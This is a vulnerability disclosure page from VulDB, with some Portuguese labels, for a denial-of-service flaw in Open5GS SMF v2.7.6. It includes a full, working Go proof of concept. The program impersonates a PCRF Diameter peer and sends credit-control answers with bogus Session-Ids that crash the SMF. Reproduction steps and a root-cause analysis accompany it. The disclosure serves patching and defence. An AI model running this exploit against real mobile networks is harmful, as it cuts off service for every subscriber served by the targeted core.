Submeter #771349: Open5GS SMF v2.7.6 Denial of Serviceinformação

TítuloOpen5GS SMF v2.7.6 Denial of Service
Descrição### Open5GS Release, Revision, or Tag v2.7.6 ### Description `smf_gx_cca_cb()`, `smf_gy_cca_cb()`, and `smf_s6b` CCA callbacks use `ogs_assert(new == 0)` after `fd_msg_sess_get()` to verify the session already exists. If a malicious Diameter peer replies with a CCA containing an unknown or mismatched `Session-Id`, `fd_msg_sess_get()` returns `new=1` (new session), triggering `ogs_assert()` → `ogs_abort()` → **SMF process crash**. A single malformed CCA message is sufficient to crash the SMF, denying service to all UE sessions. ### Steps to reproduce 1. Start the DoS PoC ```bash go mod tidy go run . \ -listen 10.44.44.9:3868 \ -cer-host pcrf.localdomain \ -cer-realm localdomain \ -mode bogus-session ``` PoC ```go package main import ( "flag" "fmt" "log" "time" "github.com/fiorix/go-diameter/v4/diam" "github.com/fiorix/go-diameter/v4/diam/avp" "github.com/fiorix/go-diameter/v4/diam/datatype" "github.com/fiorix/go-diameter/v4/diam/dict" "github.com/fiorix/go-diameter/v4/diam/sm" ) // Gx Application ID (3GPP TS 29.212) const gxApplicationID uint32 = 16777238 // Gy Application ID (DCCA, RFC 4006) const gyApplicationID uint32 = 4 // 3GPP Vendor ID const vendor3GPP uint32 = 10415 var ( flagListen = flag.String("listen", "127.0.0.9:3868", "Listen address (replace legitimate PCRF/OCS)") flagCERHost = flag.String("cer-host", "pcrf.localdomain", "Origin-Host for CER/CEA handshake (must match ConnectPeer)") flagCERRealm = flag.String("cer-realm", "localdomain", "Origin-Realm for CER/CEA handshake") flagMode = flag.String("mode", "bogus-session", "DoS mode: bogus-session | cross-app") ) func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) log.Println("========================================") log.Println(" PoC: SMF CCA Session Assertion DoS") log.Println(" Vulnerability: ogs_assert(new == 0)") log.Println(" Affected files:") log.Println(" - src/smf/gx-path.c:779") log.Println(" - src/smf/gy-path.c:1009") log.Println(" - src/smf/s6b-path.c:390, 733") log.Println("========================================") log.Printf("[*] Listen address : %s", *flagListen) log.Printf("[*] CER/CEA Identity: %s / %s", *flagCERHost, *flagCERRealm) log.Printf("[*] DoS mode : %s", *flagMode) settings := &sm.Settings{ OriginHost: datatype.DiameterIdentity(*flagCERHost), OriginRealm: datatype.DiameterIdentity(*flagCERRealm), VendorID: datatype.Unsigned32(vendor3GPP), ProductName: datatype.UTF8String("dos-poc"), OriginStateID: datatype.Unsigned32(uint32(time.Now().Unix())), FirmwareRevision: datatype.Unsigned32(1), } mux := sm.New(settings) mux.HandleFunc("CCR", handleCCR) mux.HandleFunc("ALL", func(c diam.Conn, m *diam.Message) { if m.Header.CommandCode != diam.CreditControl { log.Printf("[~] Received %s (cmd=%d) from %s — ignoring", cmdName(m), m.Header.CommandCode, c.RemoteAddr()) } }) log.Printf("[*] Waiting for SMF to connect on %s ...", *flagListen) if err := diam.ListenAndServe(*flagListen, mux, dict.Default); err != nil { log.Fatalf("[-] ListenAndServe failed: %v", err) } } func handleCCR(c diam.Conn, m *diam.Message) { appID := m.Header.ApplicationID sessionID := extractUTF8(m, avp.SessionID, 0) ccRequestType := extractUint32(m, avp.CCRequestType, 0) ccRequestNumber := extractUint32(m, avp.CCRequestNumber, 0) log.Println() log.Println("[+] ============================================") log.Printf("[+] CCR received from SMF (%s)", c.RemoteAddr()) log.Printf("[+] ApplicationId : %d (%s)", appID, appName(appID)) log.Printf("[+] Session-Id : %s", sessionID) log.Printf("[+] CC-Request-Type : %d (%s)", ccRequestType, ccRequestTypeName(ccRequestType)) mode := *flagMode switch mode { case "bogus-session": // Send CCA with a fabricated Session-Id that doesn't match any // existing session in the SMF. This causes fd_msg_sess_get() to // return new=1, triggering ogs_assert(new == 0) → abort(). sendBogusSessionCCA(c, m, appID, ccRequestType, ccRequestNumber) case "cross-app": // Send CCA with Gx ApplicationId in response to a Gy CCR (or vice versa). // The session lookup in the wrong application's callback fails // with new=1, triggering the same assertion. sendCrossAppCCA(c, m, appID, sessionID, ccRequestType, ccRequestNumber) default: log.Fatalf("[-] Unknown mode: %s", mode) } } // sendBogusSessionCCA replies with a CCA containing a fabricated Session-Id. // The SMF's fd_msg_sess_get() will not find this session, returning new=1. // gx-path.c:779 / gy-path.c:1009: ogs_assert(new == 0) → abort() func sendBogusSessionCCA(c diam.Conn, m *diam.Message, appID, ccRequestType, ccRequestNumber uint32) { bogusSessionID := fmt.Sprintf("bogus.attacker.com;%d;999;app_dos", time.Now().Unix()) cca := m.Answer(2001) // Insert fabricated Session-Id as first AVP cca.InsertAVP(diam.NewAVP(avp.SessionID, avp.Mbit, 0, datatype.UTF8String(bogusSessionID))) cca.NewAVP(avp.OriginHost, avp.Mbit, 0, datatype.DiameterIdentity(*flagCERHost)) cca.NewAVP(avp.OriginRealm, avp.Mbit, 0, datatype.DiameterIdentity(*flagCERRealm)) cca.NewAVP(avp.AuthApplicationID, avp.Mbit, 0, datatype.Unsigned32(appID)) cca.NewAVP(avp.CCRequestType, avp.Mbit, 0, datatype.Enumerated(ccRequestType)) cca.NewAVP(avp.CCRequestNumber, avp.Mbit, 0, datatype.Unsigned32(ccRequestNumber)) if _, err := cca.WriteTo(c); err != nil { log.Printf("[-] Failed to send CCA: %v", err) return } log.Println("[!] ----- DoS CCA SENT (bogus-session) -----") log.Printf("[!] Bogus Session-Id: %s", bogusSessionID) log.Println("[!] SMF will call fd_msg_sess_get() → new=1") log.Println("[!] ogs_assert(new == 0) → ogs_abort() → SMF CRASH") log.Println("[+] ============================================") } // sendCrossAppCCA replies to all CCRs with the same CCA (including Gx AVPs). // When a Gy CCR gets a Gx-style CCA, the Gy callback's session lookup // fails because the Session-Id belongs to a different application context. func sendCrossAppCCA(c diam.Conn, m *diam.Message, appID uint32, sessionID string, ccRequestType, ccRequestNumber uint32) { // Always respond with Gx ApplicationId, regardless of what was requested cca := m.Answer(2001) cca.InsertAVP(diam.NewAVP(avp.SessionID, avp.Mbit, 0, datatype.UTF8String(sessionID))) cca.NewAVP(avp.OriginHost, avp.Mbit, 0, datatype.DiameterIdentity(*flagCERHost)) cca.NewAVP(avp.OriginRealm, avp.Mbit, 0, datatype.DiameterIdentity(*flagCERRealm)) // Force Gx ApplicationId regardless of original request cca.NewAVP(avp.AuthApplicationID, avp.Mbit, 0, datatype.Unsigned32(gxApplicationID)) cca.NewAVP(avp.CCRequestType, avp.Mbit, 0, datatype.Enumerated(ccRequestType)) cca.NewAVP(avp.CCRequestNumber, avp.Mbit, 0, datatype.Unsigned32(ccRequestNumber)) if _, err := cca.WriteTo(c); err != nil { log.Printf("[-] Failed to send CCA: %v", err) return } log.Println("[!] ----- DoS CCA SENT (cross-app) -----") log.Printf("[!] Original CCR AppId: %d (%s)", appID, appName(appID)) log.Printf("[!] CCA AppId forced : %d (Gx)", gxApplicationID) log.Println("[!] Session mismatch in callback → ogs_assert(new==0) → SMF CRASH") log.Println("[+] ============================================") } // --------------------------------------------------------------------------- // Helpers // --------------------------------------------------------------------------- func extractUTF8(m *diam.Message, code uint32, vendorID uint32) string { a, err := m.FindAVP(code, vendorID) if err != nil || a == nil { return "(not found)" } return string(a.Data.Serialize()) } func extractUint32(m *diam.Message, code uint32, vendorID uint32) uint32 { a, err := m.FindAVP(code, vendorID) if err != nil || a == nil { return 0 } switch v := a.Data.(type) { case datatype.Unsigned32: return uint32(v) case datatype.Enumerated: return uint32(v) case datatype.Integer32: return uint32(v) default: return 0 } } func appName(id uint32) string { switch id { case gxApplicationID: return "Gx" case gyApplicationID: return "Gy" default: return "unknown" } } func ccRequestTypeName(t uint32) string { switch t { case 1: return "INITIAL_REQUEST" case 2: return "UPDATE_REQUEST" case 3: return "TERMINATION_REQUEST" case 4: return "EVENT_REQUEST" default: return "UNKNOWN" } } func cmdName(m *diam.Message) string { if m.Header.CommandFlags&diam.RequestFlag != 0 { return "Request" } return "Answer" } ``` The PoC impersonates `pcrf.localdomain` for the CER/CEA handshake, then replies to every CCR with a CCA containing a fabricated Session-Id (`bogus.attacker.com;...;app_dos`). 2. trigger UE attach Start eNB + UE to trigger attach 3. SMF crashes immediately The SMF process terminates upon receiving the malicious CCA. ### Root Cause ```c // gx-path.c:777-779 (same pattern in gy-path.c:1007-1009 and s6b-path.c) ret = fd_msg_sess_get(fd_g_config->cnf_dict, *msg, &session, &new); ogs_assert(ret == 0); ogs_assert(new == 0); // <-- crash if session not found ``` `ogs_assert()` is defined as: ```c // lib/core/ogs-log.h:112-119 #define ogs_assert(expr) \ do { \ if (ogs_likely(expr)) ; \ else { \ ogs_fatal("%s: Assertion `%s' failed.", OGS_FUNC, #expr); \ ogs_abort(); \ } \ } while(0) ``` When `new != 0` (session not found), `ogs_abort()` calls `abort()`, killing the SMF process immediately. This should be a graceful error (log + discard message), not a hard crash. ### Logs ```shell 03/04 04:01:31.837: [diam] ERROR: 'Credit-Control-Answer' Ve
Fonte⚠️ https://github.com/open5gs/open5gs/issues/4342
Utilizador
 ZiyuLin (UID 93568)
Submissão04/03/2026 13h38 (há 29 dias)
Moderação27/03/2026 13h55 (23 days later)
EstadoAceite
Entrada VulDB353875 [Open5GS 2.7.6 CCA Message smf_gx_cca_cb/smf_gy_cca_cb/smf_s6b Negação de Serviço]
Pontos20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!